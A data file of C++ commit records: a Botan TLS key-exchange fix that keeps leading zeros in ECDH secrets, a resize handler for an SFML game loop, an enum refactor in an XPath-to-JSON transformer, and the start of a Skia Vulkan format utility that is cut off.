{"text":"<commit_before>\/*\n* Client Key Exchange Message\n* (C) 2004-2010 Jack Lloyd\n*\n* Released under the terms of the Botan license\n*\/\n\n#include <botan\/internal\/tls_messages.h>\n#include <botan\/internal\/tls_reader.h>\n#include <botan\/internal\/tls_extensions.h>\n#include <botan\/pubkey.h>\n#include <botan\/dh.h>\n#include <botan\/ecdh.h>\n#include <botan\/rsa.h>\n#include <botan\/rng.h>\n#include <botan\/loadstor.h>\n#include <memory>\n\nnamespace Botan {\n\nnamespace TLS {\n\nnamespace {\n\nSecureVector<byte> strip_leading_zeros(const MemoryRegion<byte>& input)\n   {\n   size_t leading_zeros = 0;\n\n   for(size_t i = 0; i != input.size(); ++i)\n      {\n      if(input[i] != 0)\n         break;\n      ++leading_zeros;\n      }\n\n   SecureVector<byte> output(&input[leading_zeros],\n                             input.size() - leading_zeros);\n   return output;\n   }\n\n}\n\n\/*\n* Create a new Client Key Exchange message\n*\/\nClient_Key_Exchange::Client_Key_Exchange(Record_Writer& writer,\n                                         Handshake_State* state,\n                                         const std::vector<X509_Certificate>& peer_certs,\n                                         RandomNumberGenerator& rng)\n   {\n   if(state->server_kex)\n      {\n      TLS_Data_Reader reader(state->server_kex->params());\n\n      if(state->suite.kex_algo() == \"DH\")\n         {\n         BigInt p = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n         BigInt g = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n         BigInt Y = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n\n         if(reader.remaining_bytes())\n            throw Decoding_Error(\"Bad params size for DH key exchange\");\n\n         DL_Group group(p, g);\n\n         if(!group.verify_group(rng, true))\n            throw Internal_Error(\"DH group failed validation, possible attack\");\n\n         DH_PublicKey counterparty_key(group, Y);\n\n         \/\/ FIXME Check that public key is residue?\n\n         DH_PrivateKey priv_key(rng, group);\n\n         PK_Key_Agreement ka(priv_key, \"Raw\");\n\n         pre_master = strip_leading_zeros(\n            ka.derive_key(0, counterparty_key.public_value()).bits_of());\n\n         append_tls_length_value(key_material, priv_key.public_value(), 2);\n         }\n      else if(state->suite.kex_algo() == \"ECDH\")\n         {\n         const byte curve_type = reader.get_byte();\n\n         if(curve_type != 3)\n            throw Decoding_Error(\"Server sent non-named ECC curve\");\n\n         const u16bit curve_id = reader.get_u16bit();\n\n         const std::string name = Supported_Elliptic_Curves::curve_id_to_name(curve_id);\n\n         if(name == \"\")\n            throw Decoding_Error(\"Server sent unknown named curve \" + to_string(curve_id));\n\n         EC_Group group(name);\n\n         MemoryVector<byte> ecdh_key = reader.get_range<byte>(1, 1, 255);\n\n         ECDH_PublicKey counterparty_key(group, OS2ECP(ecdh_key, group.get_curve()));\n\n         ECDH_PrivateKey priv_key(rng, group);\n\n         PK_Key_Agreement ka(priv_key, \"Raw\");\n\n         pre_master = strip_leading_zeros(\n            ka.derive_key(0, counterparty_key.public_value()).bits_of());\n\n         append_tls_length_value(key_material, priv_key.public_value(), 1);\n         }\n      else\n         throw Internal_Error(\"Server key exchange type \" + state->suite.kex_algo() +\n                              \" not known\");\n      }\n   else\n      {\n      \/\/ No server key exchange msg better mean a RSA key in the cert\n\n      std::auto_ptr<Public_Key> pub_key(peer_certs[0].subject_public_key());\n\n      if(peer_certs.empty())\n         throw Internal_Error(\"No certificate and no server key exchange\");\n\n      if(const RSA_PublicKey* rsa_pub = dynamic_cast<const RSA_PublicKey*>(pub_key.get()))\n         {\n         const Protocol_Version pref_version = state->client_hello->version();\n\n         pre_master = rng.random_vec(48);\n         pre_master[0] = pref_version.major_version();\n         pre_master[1] = pref_version.minor_version();\n\n         PK_Encryptor_EME encryptor(*rsa_pub, \"PKCS1v15\");\n\n         MemoryVector<byte> encrypted_key = encryptor.encrypt(pre_master, rng);\n\n         if(state->version == Protocol_Version::SSL_V3)\n            key_material = encrypted_key; \/\/ no length field\n         else\n            append_tls_length_value(key_material, encrypted_key, 2);\n         }\n      else\n         throw TLS_Exception(HANDSHAKE_FAILURE,\n                             \"Expected a RSA key in server cert but got \" +\n                             pub_key->algo_name());\n      }\n\n   send(writer, state->hash);\n   }\n\n\/*\n* Read a Client Key Exchange message\n*\/\nClient_Key_Exchange::Client_Key_Exchange(const MemoryRegion<byte>& contents,\n                                         const Ciphersuite& suite,\n                                         Protocol_Version using_version)\n   {\n   if(suite.kex_algo() == \"\" && using_version == Protocol_Version::SSL_V3)\n      key_material = contents;\n   else\n      {\n      TLS_Data_Reader reader(contents);\n\n      if(suite.kex_algo() == \"\" || suite.kex_algo() == \"DH\")\n         key_material = reader.get_range<byte>(2, 0, 65535);\n      else if(suite.kex_algo() == \"ECDH\")\n         key_material = reader.get_range<byte>(1, 1, 255);\n      else\n         throw Internal_Error(\"Unknown client key exch type \" + suite.kex_algo());\n      }\n   }\n\n\/*\n* Return the pre_master_secret\n*\/\nSecureVector<byte>\nClient_Key_Exchange::pre_master_secret(RandomNumberGenerator& rng,\n                                       const Private_Key* priv_key,\n                                       Protocol_Version client_version)\n   {\n   if(const RSA_PrivateKey* rsa = dynamic_cast<const RSA_PrivateKey*>(priv_key))\n      {\n      PK_Decryptor_EME decryptor(*rsa, \"PKCS1v15\");\n\n      try {\n         pre_master = decryptor.decrypt(key_material);\n\n         if(pre_master.size() != 48 ||\n            client_version.major_version() != pre_master[0] ||\n            client_version.minor_version() != pre_master[1])\n            {\n            throw Decoding_Error(\"Client_Key_Exchange: Secret corrupted\");\n            }\n      }\n      catch(...)\n         {\n         pre_master = rng.random_vec(48);\n         pre_master[0] = client_version.major_version();\n         pre_master[1] = client_version.minor_version();\n         }\n\n      return pre_master;\n      }\n\n   \/\/ DH or ECDH\n   if(const PK_Key_Agreement_Key* dh = dynamic_cast<const PK_Key_Agreement_Key*>(priv_key))\n      {\n      try {\n         PK_Key_Agreement ka(*dh, \"Raw\");\n\n         pre_master = strip_leading_zeros(ka.derive_key(0, key_material).bits_of());\n      }\n      catch(...)\n         {\n         \/*\n         * Something failed in the DH computation. To avoid possible\n         * timing attacks, randomize the pre-master output and carry\n         * on, allowing the protocol to fail later in the finished\n         * checks.\n         *\/\n         pre_master = rng.random_vec(dh->public_value().size());\n         }\n\n      return pre_master;\n      }\n\n   throw Invalid_Argument(\"Client_Key_Exchange: Unknown key type \" + priv_key->algo_name());\n   }\n\n}\n\n}\n<commit_msg>For ECDH you don't strip leading zeros. Bikeshedding: 1 Consistency: 0<commit_after>\/*\n* Client Key Exchange Message\n* (C) 2004-2010 Jack Lloyd\n*\n* Released under the terms of the Botan license\n*\/\n\n#include <botan\/internal\/tls_messages.h>\n#include <botan\/internal\/tls_reader.h>\n#include <botan\/internal\/tls_extensions.h>\n#include <botan\/pubkey.h>\n#include <botan\/dh.h>\n#include <botan\/ecdh.h>\n#include <botan\/rsa.h>\n#include <botan\/rng.h>\n#include <botan\/loadstor.h>\n#include <memory>\n\nnamespace Botan {\n\nnamespace TLS {\n\nnamespace {\n\nSecureVector<byte> strip_leading_zeros(const MemoryRegion<byte>& input)\n   {\n   size_t leading_zeros = 0;\n\n   for(size_t i = 0; i != input.size(); ++i)\n      {\n      if(input[i] != 0)\n         break;\n      ++leading_zeros;\n      }\n\n   SecureVector<byte> output(&input[leading_zeros],\n                             input.size() - leading_zeros);\n   return output;\n   }\n\n}\n\n\/*\n* Create a new Client Key Exchange message\n*\/\nClient_Key_Exchange::Client_Key_Exchange(Record_Writer& writer,\n                                         Handshake_State* state,\n                                         const std::vector<X509_Certificate>& peer_certs,\n                                         RandomNumberGenerator& rng)\n   {\n   if(state->server_kex)\n      {\n      TLS_Data_Reader reader(state->server_kex->params());\n\n      if(state->suite.kex_algo() == \"DH\")\n         {\n         BigInt p = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n         BigInt g = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n         BigInt Y = BigInt::decode(reader.get_range<byte>(2, 1, 65535));\n\n         if(reader.remaining_bytes())\n            throw Decoding_Error(\"Bad params size for DH key exchange\");\n\n         DL_Group group(p, g);\n\n         if(!group.verify_group(rng, true))\n            throw Internal_Error(\"DH group failed validation, possible attack\");\n\n         DH_PublicKey counterparty_key(group, Y);\n\n         \/\/ FIXME Check that public key is residue?\n\n         DH_PrivateKey priv_key(rng, group);\n\n         PK_Key_Agreement ka(priv_key, \"Raw\");\n\n         pre_master = strip_leading_zeros(\n            ka.derive_key(0, counterparty_key.public_value()).bits_of());\n\n         append_tls_length_value(key_material, priv_key.public_value(), 2);\n         }\n      else if(state->suite.kex_algo() == \"ECDH\")\n         {\n         const byte curve_type = reader.get_byte();\n\n         if(curve_type != 3)\n            throw Decoding_Error(\"Server sent non-named ECC curve\");\n\n         const u16bit curve_id = reader.get_u16bit();\n\n         const std::string name = Supported_Elliptic_Curves::curve_id_to_name(curve_id);\n\n         if(name == \"\")\n            throw Decoding_Error(\"Server sent unknown named curve \" + to_string(curve_id));\n\n         EC_Group group(name);\n\n         MemoryVector<byte> ecdh_key = reader.get_range<byte>(1, 1, 255);\n\n         ECDH_PublicKey counterparty_key(group, OS2ECP(ecdh_key, group.get_curve()));\n\n         ECDH_PrivateKey priv_key(rng, group);\n\n         PK_Key_Agreement ka(priv_key, \"Raw\");\n\n         pre_master = ka.derive_key(0, counterparty_key.public_value()).bits_of();\n\n         append_tls_length_value(key_material, priv_key.public_value(), 1);\n         }\n      else\n         throw Internal_Error(\"Server key exchange type \" + state->suite.kex_algo() +\n                              \" not known\");\n      }\n   else\n      {\n      \/\/ No server key exchange msg better mean a RSA key in the cert\n\n      std::auto_ptr<Public_Key> pub_key(peer_certs[0].subject_public_key());\n\n      if(peer_certs.empty())\n         throw Internal_Error(\"No certificate and no server key exchange\");\n\n      if(const RSA_PublicKey* rsa_pub = dynamic_cast<const RSA_PublicKey*>(pub_key.get()))\n         {\n         const Protocol_Version pref_version = state->client_hello->version();\n\n         pre_master = rng.random_vec(48);\n         pre_master[0] = pref_version.major_version();\n         pre_master[1] = pref_version.minor_version();\n\n         PK_Encryptor_EME encryptor(*rsa_pub, \"PKCS1v15\");\n\n         MemoryVector<byte> encrypted_key = encryptor.encrypt(pre_master, rng);\n\n         if(state->version == Protocol_Version::SSL_V3)\n            key_material = encrypted_key; \/\/ no length field\n         else\n            append_tls_length_value(key_material, encrypted_key, 2);\n         }\n      else\n         throw TLS_Exception(HANDSHAKE_FAILURE,\n                             \"Expected a RSA key in server cert but got \" +\n                             pub_key->algo_name());\n      }\n\n   send(writer, state->hash);\n   }\n\n\/*\n* Read a Client Key Exchange message\n*\/\nClient_Key_Exchange::Client_Key_Exchange(const MemoryRegion<byte>& contents,\n                                         const Ciphersuite& suite,\n                                         Protocol_Version using_version)\n   {\n   if(suite.kex_algo() == \"\" && using_version == Protocol_Version::SSL_V3)\n      key_material = contents;\n   else\n      {\n      TLS_Data_Reader reader(contents);\n\n      if(suite.kex_algo() == \"\" || suite.kex_algo() == \"DH\")\n         key_material = reader.get_range<byte>(2, 0, 65535);\n      else if(suite.kex_algo() == \"ECDH\")\n         key_material = reader.get_range<byte>(1, 1, 255);\n      else\n         throw Internal_Error(\"Unknown client key exch type \" + suite.kex_algo());\n      }\n   }\n\n\/*\n* Return the pre_master_secret\n*\/\nSecureVector<byte>\nClient_Key_Exchange::pre_master_secret(RandomNumberGenerator& rng,\n                                       const Private_Key* priv_key,\n                                       Protocol_Version client_version)\n   {\n   if(const RSA_PrivateKey* rsa = dynamic_cast<const RSA_PrivateKey*>(priv_key))\n      {\n      PK_Decryptor_EME decryptor(*rsa, \"PKCS1v15\");\n\n      try {\n         pre_master = decryptor.decrypt(key_material);\n\n         if(pre_master.size() != 48 ||\n            client_version.major_version() != pre_master[0] ||\n            client_version.minor_version() != pre_master[1])\n            {\n            throw Decoding_Error(\"Client_Key_Exchange: Secret corrupted\");\n            }\n      }\n      catch(...)\n         {\n         pre_master = rng.random_vec(48);\n         pre_master[0] = client_version.major_version();\n         pre_master[1] = client_version.minor_version();\n         }\n\n      return pre_master;\n      }\n\n   \/\/ DH or ECDH\n   if(const PK_Key_Agreement_Key* dh = dynamic_cast<const PK_Key_Agreement_Key*>(priv_key))\n      {\n      try {\n         PK_Key_Agreement ka(*dh, \"Raw\");\n\n         if(dh->algo_name() == \"DH\")\n            pre_master = strip_leading_zeros(ka.derive_key(0, key_material).bits_of());\n         else\n            pre_master = ka.derive_key(0, key_material).bits_of();\n      }\n      catch(...)\n         {\n         \/*\n         * Something failed in the DH computation. To avoid possible\n         * timing attacks, randomize the pre-master output and carry\n         * on, allowing the protocol to fail later in the finished\n         * checks.\n         *\/\n         pre_master = rng.random_vec(dh->public_value().size());\n         }\n\n      return pre_master;\n      }\n\n   throw Invalid_Argument(\"Client_Key_Exchange: Unknown key type \" + priv_key->algo_name());\n   }\n\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*             ___\n              \/ | |_   _ ___ _ __ __  __ _____\n             \/ \/| | | \/ \/   |  __\/ \/ \/ \/_____\/\n            \/ \/ | | |\/ \/ \/| | | \/ \/_\/ \/__\\ \\\n           \/_\/  |_|___\/_\/ |_|_| \\____\/_____\/\n\nCopyright (C) 2019 Jack Steilberg <jsteil123@gmail.com>\n\nThis program is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Affero General Public\nLicense as published by the Free Software Foundation; either\nversion 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU Lesser General Public License for more details.\n\nA copy of the GNU Affero General Public License should accompany\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n*\/\n\n#include \"MainLoop.h\"\n\n\/*MainLoop::MainLoop(Player &player, b2World &world, DebugOverlay &dbg_overlay,\n                   Console &console_overlay)\n    : player_(player), world_(world), dbg_overlay_(dbg_overlay),\n      console_overlay_(console_overlay) {\n\n  console_on_ = false;\n  }*\/\nMainLoop::MainLoop(Game *game) : game_(game) { console_on_ = false; }\n\nvoid MainLoop::Update(const sf::Time &deltaTime, sf::Window &window) {\n  \/\/ TODO: Maybe handling key events should be outside update?\n  HandleKeyEvents(window);\n\n  game_->world_.Step(deltaTime.asSeconds(), consts::kVelocityIterations,\n                     consts::kPositionIterations);\n  game_->player_.Update(deltaTime);\n\n  if (game_->dbg_overlay_.IsActive()) {\n    game_->dbg_overlay_.Update();\n  }\n}\n\nvoid MainLoop::Draw(sf::RenderWindow &window) {\n  window.draw(game_->player_.GetSprite());\n\n  if (game_->dbg_overlay_.IsActive()) {\n    window.draw(game_->dbg_overlay_);\n  }\n}\n\nbool IsKeyPressed(sf::Keyboard::Key key) {\n  return sf::Keyboard::isKeyPressed(key);\n}\n\nvoid MainLoop::HandleKeyEvents(sf::Window &window) {\n  if (IsKeyPressed(sf::Keyboard::Up) or IsKeyPressed(sf::Keyboard::W)) {\n    game_->player_.ApplyForce(b2Vec2(0, -15));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Down) or IsKeyPressed(sf::Keyboard::S)) {\n    game_->player_.ApplyForce(b2Vec2(0, 15));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Left) or IsKeyPressed(sf::Keyboard::A)) {\n    game_->player_.ApplyForce(b2Vec2(-15, 0));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Right) or IsKeyPressed(sf::Keyboard::D)) {\n    game_->player_.ApplyForce(b2Vec2(15, 0));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::R)) {\n    game_->player_.SetRot(game_->player_.GetRot() + 1);\n  }\n\n  sf::Event event;\n\n  while (window.pollEvent(event)) {\n    if (event.type == sf::Event::Closed) {\n      window.close();\n    } else if (event.type == sf::Event::KeyPressed) {\n      switch (event.key.code) {\n      case sf::Keyboard::Escape:\n        window.close();\n        break;\n\n      case sf::Keyboard::F3:\n        game_->dbg_overlay_.Toggle();\n\n        \/\/ Ya know, sometimes people rail on ternary if statements.\n        \/\/ Everything in moderation.\n        Logger::Log(string(\"Debug menu turned \") +\n                        (game_->dbg_overlay_.IsActive() ? \"on\" : \"off\"),\n                    INFO);\n        break;\n      case sf::Keyboard::BackSlash:\n        game_->window_.setKeyRepeatEnabled(true);\n        game_->AddState(game_->console_loop_);\n        break;\n      case sf::Keyboard::T:\n        game_->player_.SetCurrentTexture(\n            game_->player_.GetCurrentTexture() == \"norm\" ? \"hurt\" : \"norm\");\n        Logger::Log(\"Set player texture to \" +\n                        game_->player_.GetCurrentTexture(),\n                    INFO);\n        break;\n\n      default:\n        break;\n      }\n    }\n  }\n}\n\nconst string MainLoop::ToString() const { return \"Main Loop\"; }\n\nMainLoop::~MainLoop() {\n  \/\/ dtor\n}\n<commit_msg>Added resizing for window (buggy)<commit_after>\/*             ___\n              \/ | |_   _ ___ _ __ __  __ _____\n             \/ \/| | | \/ \/   |  __\/ \/ \/ \/_____\/\n            \/ \/ | | |\/ \/ \/| | | \/ \/_\/ \/__\\ \\\n           \/_\/  |_|___\/_\/ |_|_| \\____\/_____\/\n\nCopyright (C) 2019 Jack Steilberg <jsteil123@gmail.com>\n\nThis program is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Affero General Public\nLicense as published by the Free Software Foundation; either\nversion 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU Lesser General Public License for more details.\n\nA copy of the GNU Affero General Public License should accompany\nthis program; if not, write to the Free Software Foundation, Inc.,\n51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n*\/\n\n#include \"MainLoop.h\"\n\n\/*MainLoop::MainLoop(Player &player, b2World &world, DebugOverlay &dbg_overlay,\n                   Console &console_overlay)\n    : player_(player), world_(world), dbg_overlay_(dbg_overlay),\n      console_overlay_(console_overlay) {\n\n  console_on_ = false;\n  }*\/\nMainLoop::MainLoop(Game *game) : game_(game) { console_on_ = false; }\n\nvoid MainLoop::Update(const sf::Time &deltaTime, sf::Window &window) {\n  \/\/ TODO: Maybe handling key events should be outside update?\n  HandleKeyEvents(window);\n\n  game_->world_.Step(deltaTime.asSeconds(), consts::kVelocityIterations,\n                     consts::kPositionIterations);\n  game_->player_.Update(deltaTime);\n\n  if (game_->dbg_overlay_.IsActive()) {\n    game_->dbg_overlay_.Update();\n  }\n}\n\nvoid MainLoop::Draw(sf::RenderWindow &window) {\n  window.draw(game_->player_.GetSprite());\n\n  if (game_->dbg_overlay_.IsActive()) {\n    window.draw(game_->dbg_overlay_);\n  }\n}\n\nbool IsKeyPressed(sf::Keyboard::Key key) {\n  return sf::Keyboard::isKeyPressed(key);\n}\n\nvoid MainLoop::HandleKeyEvents(sf::Window &window) {\n  if (IsKeyPressed(sf::Keyboard::Up) or IsKeyPressed(sf::Keyboard::W)) {\n    game_->player_.ApplyForce(b2Vec2(0, -15));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Down) or IsKeyPressed(sf::Keyboard::S)) {\n    game_->player_.ApplyForce(b2Vec2(0, 15));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Left) or IsKeyPressed(sf::Keyboard::A)) {\n    game_->player_.ApplyForce(b2Vec2(-15, 0));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::Right) or IsKeyPressed(sf::Keyboard::D)) {\n    game_->player_.ApplyForce(b2Vec2(15, 0));\n  }\n\n  if (IsKeyPressed(sf::Keyboard::R)) {\n    game_->player_.SetRot(game_->player_.GetRot() + 1);\n  }\n\n  sf::Event event;\n\n  while (window.pollEvent(event)) {\n    \/\/ catch the resize events\n    if (event.type == sf::Event::Resized) {\n      \/\/ update the view to the new size of the window\n      sf::FloatRect visibleArea(0, 0, event.size.width, event.size.height);\n      Logger::Log(\"Resize event\", INFO);\n      game_->window_.setView(sf::View(visibleArea));\n    } else if (event.type == sf::Event::Closed) {\n      window.close();\n    } else if (event.type == sf::Event::KeyPressed) {\n      switch (event.key.code) {\n      case sf::Keyboard::Escape:\n        window.close();\n        break;\n\n      case sf::Keyboard::F3:\n        game_->dbg_overlay_.Toggle();\n\n        \/\/ Ya know, sometimes people rail on ternary if statements.\n        \/\/ Everything in moderation.\n        Logger::Log(string(\"Debug menu turned \") +\n                        (game_->dbg_overlay_.IsActive() ? \"on\" : \"off\"),\n                    INFO);\n        break;\n      case sf::Keyboard::BackSlash:\n        game_->window_.setKeyRepeatEnabled(true);\n        game_->AddState(game_->console_loop_);\n        break;\n      case sf::Keyboard::T:\n        game_->player_.SetCurrentTexture(\n            game_->player_.GetCurrentTexture() == \"norm\" ? \"hurt\" : \"norm\");\n        Logger::Log(\"Set player texture to \" +\n                        game_->player_.GetCurrentTexture(),\n                    INFO);\n        break;\n\n      default:\n        break;\n      }\n    }\n  }\n}\n\nconst string MainLoop::ToString() const { return \"Main Loop\"; }\n\nMainLoop::~MainLoop() {\n  \/\/ dtor\n}\n<|endoftext|>"}
{"text":"<commit_before>#define PUGIXML_NO_EXCEPTIONS\n#define PUGIXML_HEADER_ONLY\n\n#include <string>\n#include \"json\/json.hpp\"\n#include \"pugixml\/src\/pugixml.hpp\"\n\nusing json = nlohmann::json;\nusing string = std::string;\nusing xquery = pugi::xpath_query;\nusing nodeset = pugi::xpath_node_set;\n\ntemplate <typename T>\nvoid walk(T& doc, json& n, json& output, string key);\n\nconst string T_NUMBER = \"number\";\nconst string T_STRING = \"string\";\nconst string T_BOOLEAN = \"boolean\";\n\ninline bool string_contains(string to_check, string prefix) {\n  return to_check.size() >= prefix.size() &&\n         to_check.compare(0, prefix.size(), prefix) == 0;\n}\n\ninline string get_return_type(string& path) {\n  if (string_contains(path, \"count(\") || string_contains(path, \"sum(\") ||\n      string_contains(path, \"number(\") || string_contains(path, \"ceiling(\") ||\n      string_contains(path, \"floor(\") || string_contains(path, \"round(\"))\n    return T_NUMBER;\n\n  if (string_contains(path, \"boolean(\")) return T_BOOLEAN;\n  return T_STRING;\n}\n\ntemplate <typename T>\nbool seek_single_boolean(T& xnode, json& j) {\n  string path = j;\n  xquery query(path.c_str());\n  return query.evaluate_boolean(xnode);\n}\n\ntemplate <typename T>\nstring seek_single_string(T& xnode, json& j) {\n  string path = j;\n  if (path.empty()) {\n    return \"\";\n  } else if (path.find(\"#\") != std::string::npos) {\n    return path.substr(1, path.size());\n  } else {\n    xquery query(path.c_str());\n    return query.evaluate_string(xnode);\n  }\n}\n\ntemplate <typename T>\ndouble seek_single_number(T& xnode, json& j) {\n  string path = j;\n  xquery query(path.c_str());\n  return query.evaluate_number(xnode);\n}\n\ntemplate <typename T>\njson seek_array(T& doc, json& node) {\n  \/\/ a special case for backward compatible with xpath-object-transform\n  if (node.empty()) {\n    return json::array();\n  }\n\n  string base_path = node[0];\n  xquery q(base_path.c_str());\n  pugi::xpath_node_set nodes = q.evaluate_node_set(doc);\n  json tmp = json::array();\n\n  for (size_t i = 0; i < nodes.size(); ++i) {\n    pugi::xpath_node n = nodes[i];\n    auto inner = node[1];\n\n    if (inner.is_object()) {\n      json obj = json({});\n      for (json::iterator it = inner.begin(); it != inner.end(); ++it) {\n        walk(n, it.value(), obj, it.key());\n      }\n\n      tmp.push_back(obj);\n    } else if (inner.is_string()) {\n      string path = inner;\n      string type = get_return_type((path));\n      if (type == T_NUMBER) {\n        tmp.push_back(seek_single_number(n, inner));\n      }\n      if (type == T_STRING) {\n        tmp.push_back(seek_single_string(n, inner));\n      }\n      if (type == T_BOOLEAN) {\n        tmp.push_back(seek_single_boolean(n, inner));\n      }\n    }\n  }\n\n  return tmp;\n}\n\ntemplate <typename T>\njson seek_object(T& doc, json& node) {\n  auto output = json({});\n  for (json::iterator it = node.begin(); it != node.end(); ++it) {\n    string key = it.key();\n    walk(doc, *it, output, key);\n  }\n  return output;\n}\n\ntemplate <typename T>\nvoid walk(T& doc, json& n, json& output, string key) {\n  if (n.is_array()) {\n    output[key] = seek_array(doc, n);\n  } else if (n.is_object()) {\n    output[key] = seek_object(doc, n);\n  } else if (n.is_string()) {\n    string path = n;\n    string type = get_return_type(path);\n    if (type == T_NUMBER) {\n      output[key] = seek_single_number(doc, n);\n    }\n    if (type == T_STRING) {\n      output[key] = seek_single_string(doc, n);\n    }\n    if (type == T_BOOLEAN) {\n      output[key] = seek_single_boolean(doc, n);\n    }\n  }\n}\n\nstring transform(string xml, string fmt) {\n  pugi::xml_document doc;\n  if (!doc.load_string(xml.c_str())) {\n    return \"\";\n  }\n\n  auto j = json::parse(fmt);\n  json result;\n\n  for (json::iterator it = j.begin(); it != j.end(); ++it) {\n    string key = it.key();\n    auto& node = j[key];\n    walk(doc, node, result, key);\n  }\n\n  return result.dump();\n}<commit_msg>use enum for type check<commit_after>#define PUGIXML_NO_EXCEPTIONS\n#define PUGIXML_HEADER_ONLY\n\n#include <string>\n#include \"json\/json.hpp\"\n#include \"pugixml\/src\/pugixml.hpp\"\n\nusing json = nlohmann::json;\nusing string = std::string;\nusing xquery = pugi::xpath_query;\nusing nodeset = pugi::xpath_node_set;\n\nenum ReturnType { NUMBER, STRING, BOOLEAN };\n\ntemplate <typename T>\nvoid walk(T& doc, json& n, json& output, string key);\n\ninline bool string_contains(string to_check, string prefix) {\n  return to_check.size() >= prefix.size() &&\n         to_check.compare(0, prefix.size(), prefix) == 0;\n}\n\ninline ReturnType get_return_type(string& path) {\n  if (string_contains(path, \"count(\") || string_contains(path, \"sum(\") ||\n      string_contains(path, \"number(\") || string_contains(path, \"ceiling(\") ||\n      string_contains(path, \"floor(\") || string_contains(path, \"round(\"))\n    return NUMBER;\n\n  if (string_contains(path, \"boolean(\"))\n    return BOOLEAN;\n  return STRING;\n}\n\ntemplate <typename T>\nbool seek_single_boolean(T& xnode, json& j) {\n  string path = j;\n  xquery query(path.c_str());\n  return query.evaluate_boolean(xnode);\n}\n\ntemplate <typename T>\nstring seek_single_string(T& xnode, json& j) {\n  string path = j;\n  if (path.empty()) {\n    return \"\";\n  } else if (path.find(\"#\") != std::string::npos) {\n    return path.substr(1, path.size());\n  } else {\n    xquery query(path.c_str());\n    return query.evaluate_string(xnode);\n  }\n}\n\ntemplate <typename T>\ndouble seek_single_number(T& xnode, json& j) {\n  string path = j;\n  xquery query(path.c_str());\n  return query.evaluate_number(xnode);\n}\n\ntemplate <typename T>\njson seek_array(T& doc, json& node) {\n  \/\/ a special case for backward compatible with xpath-object-transform\n  if (node.empty()) {\n    return json::array();\n  }\n\n  string base_path = node[0];\n  xquery q(base_path.c_str());\n  pugi::xpath_node_set nodes = q.evaluate_node_set(doc);\n  json tmp = json::array();\n\n  for (size_t i = 0; i < nodes.size(); ++i) {\n    pugi::xpath_node n = nodes[i];\n    auto inner = node[1];\n\n    if (inner.is_object()) {\n      json obj = json({});\n      for (json::iterator it = inner.begin(); it != inner.end(); ++it) {\n        walk(n, it.value(), obj, it.key());\n      }\n\n      tmp.push_back(obj);\n    } else if (inner.is_string()) {\n      string path = inner;\n      ReturnType type = get_return_type((path));\n      if (type == NUMBER) {\n        tmp.push_back(seek_single_number(n, inner));\n      }\n      if (type == STRING) {\n        tmp.push_back(seek_single_string(n, inner));\n      }\n      if (type == BOOLEAN) {\n        tmp.push_back(seek_single_boolean(n, inner));\n      }\n    }\n  }\n\n  return tmp;\n}\n\ntemplate <typename T>\njson seek_object(T& doc, json& node) {\n  auto output = json({});\n  for (json::iterator it = node.begin(); it != node.end(); ++it) {\n    string key = it.key();\n    walk(doc, *it, output, key);\n  }\n  return output;\n}\n\ntemplate <typename T>\nvoid walk(T& doc, json& n, json& output, string key) {\n  if (n.is_array()) {\n    output[key] = seek_array(doc, n);\n  } else if (n.is_object()) {\n    output[key] = seek_object(doc, n);\n  } else if (n.is_string()) {\n    string path = n;\n    ReturnType type = get_return_type(path);\n    if (type == NUMBER) {\n      output[key] = seek_single_number(doc, n);\n    }\n    if (type == STRING) {\n      output[key] = seek_single_string(doc, n);\n    }\n    if (type == BOOLEAN) {\n      output[key] = seek_single_boolean(doc, n);\n    }\n  }\n}\n\nstring transform(string xml, string fmt) {\n  pugi::xml_document doc;\n  if (!doc.load_string(xml.c_str())) {\n    return \"\";\n  }\n\n  auto j = json::parse(fmt);\n  json result;\n\n  for (json::iterator it = j.begin(); it != j.end(); ++it) {\n    string key = it.key();\n    auto& node = j[key];\n    walk(doc, node, result, key);\n  }\n\n  return result.dump();\n}<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2015 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"GrVkUtil.h\"\n\n#include \"vk\/GrVkGpu.h\"\n#include \"SkSLCompiler.h\"\n\nbool GrPixelConfigToVkFormat(GrPixelConfig config, VkFormat* format) {\n    VkFormat dontCare;\n    if (!format) {\n        format = &dontCare;\n    }\n\n    switch (config) {\n        case kUnknown_GrPixelConfig:\n            return false;\n        case kRGBA_8888_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_UNORM;\n            return true;\n        case kBGRA_8888_GrPixelConfig:\n            *format = VK_FORMAT_B8G8R8A8_UNORM;\n            return true;\n        case kSRGBA_8888_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_SRGB;\n            return true;\n        case kSBGRA_8888_GrPixelConfig:\n            *format = VK_FORMAT_B8G8R8A8_SRGB;\n            return true;\n        case kRGBA_8888_sint_GrPixelConfig:\n            *format = VK_FORMAT_R8G8B8A8_SINT;\n            return true;\n        case kRGB_565_GrPixelConfig:\n            *format = VK_FORMAT_R5G6B5_UNORM_PACK16;\n            return true;\n        case kRGBA_4444_GrPixelConfig:\n            \/\/ 